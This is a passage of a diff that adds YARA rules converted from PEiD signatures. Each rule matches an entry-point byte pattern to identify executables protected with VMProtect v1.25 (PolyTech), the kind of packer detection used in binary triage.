+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 8D 76 01 83 C5 02 88 14 07 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02557_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 46 98 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02558_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 83 C6 01 98 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02559_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 83 EE FF 98 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02560_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 8D 76 01 98 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02561_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 98 46 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02562_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 98 83 C6 01 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02563_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 98 83 ED 04 46 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_02564_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 98 83 ED 04 83 C6 01 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02565_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 98 83 ED 04 83 EE FF 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02566_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 98 83 ED 04 89 45 00 46 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02567_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 98 83 ED 04 89 45 00 83 C6 01 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02568_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 98 83 ED 04 89 45 00 83 EE FF E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02569_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 98 83 ED 04 89 45 00 8D 76 01 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02570_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 98 83 ED 04 8D 76 01 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02571_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 98 83 EE FF 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02572_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 98 8D 76 01 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02573_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 C6 01 66 8B 04 07 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_02574_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 C6 01 66 8B 55 00 83 C5 02 66 89 14 07 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02575_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 C6 01 66 8B 55 00 83 C5 02 88 14 07 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02576_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 C6 01 66 98 98 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02577_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 C6 01 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02578_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 C6 01 8A 04 07 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02579_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 ED 02 46 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02580_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 ED 02 66 89 45 00 46 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02581_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 ED 02 66 89 45 00 83 C6 01 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02582_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 ED 02 66 89 45 00 83 EE FF E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02583_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 ED 02 66 89 45 00 8D 76 01 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02584_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 ED 02 83 C6 01 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02585_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 ED 02 83 EE FF 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02586_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 ED 02 8D 76 01 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_02587_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 EE FF 66 8B 04 07 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02588_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 EE FF 66 8B 55 00 83 C5 02 66 89 14 07 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02589_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 EE FF 66 8B 55 00 83 C5 02 88 14 07 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02590_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 EE FF 66 98 98 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02591_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 EE FF 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02592_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 EE FF 8A 04 07 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02593_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 46 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02594_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 83 C6 01 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02595_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 83 ED 02 46 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02596_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 83 ED 02 66 89 45 00 46 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02597_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 83 ED 02 66 89 45 00 83 C6 01 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02598_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 83 ED 02 66 89 45 00 83 EE FF E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02599_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 83 ED 02 66 89 45 00 8D 76 01 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02600_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 83 ED 02 83 C6 01 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02601_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 83 ED 02 83 EE FF 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02602_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 83 ED 02 8D 76 01 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02603_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 83 EE FF 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02604_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 8D 76 01 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02605_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8D 76 01 66 8B 04 07 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02606_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8D 76 01 66 8B 55 00 83 C5 02 66 89 14 07 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02607_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8D 76 01 66 8B 55 00 83 C5 02 88 14 07 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02608_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8D 76 01 66 98 98 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02609_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8D 76 01 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02610_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8D 76 01 8A 04 07 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02611_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 50 57 9C 55 52 56 51 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02612_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 50 9C 53 55 57 52 51 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 66 8B 06 98 83 ED 04 89 45 00 83 C6 02 E9}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_02613_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 52 53 9C 56 57 56 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02614_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 52 54 53 56 57 55 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 6D 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02615_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 52 57 56 55 53 9C 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02616_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 52 9C 50 53 57 55 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02617_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 53 52 55 9C 52 57 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02618_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 53 54 57 56 52 55 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02619_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 53 9C 52 56 55 57 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 24 85 ?? ?? ?? ?? 8B 06 83 ED 04 89 45 00 83 EE FC E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02620_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 55 53 56 51 57 52 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02621_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 55 9C 57 57 56 52 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02622_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 56 53 53 9C 52 55 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02623_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 56 53 55 57 52 9C 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 EC 59 5D 9D 5A 5F 5D 5B 5E 59 58 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02624_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 56 55 52 9C 57 53 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 24 85 ?? ?? ?? ?? 66 8B 6D 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02625_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 56 9C 53 57 55 52 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 55 04 83 C5 08 89 10 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02626_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 52 51 53 9C 55 56 53 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 55 04 83 C5 08 89 10 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02627_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 52 51 57 56 55 56 53 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02628_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 52 51 9C 56 53 57 51 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02629_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 52 53 53 55 9C 57 51 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02630_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 52 53 56 51 55 9C 51 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
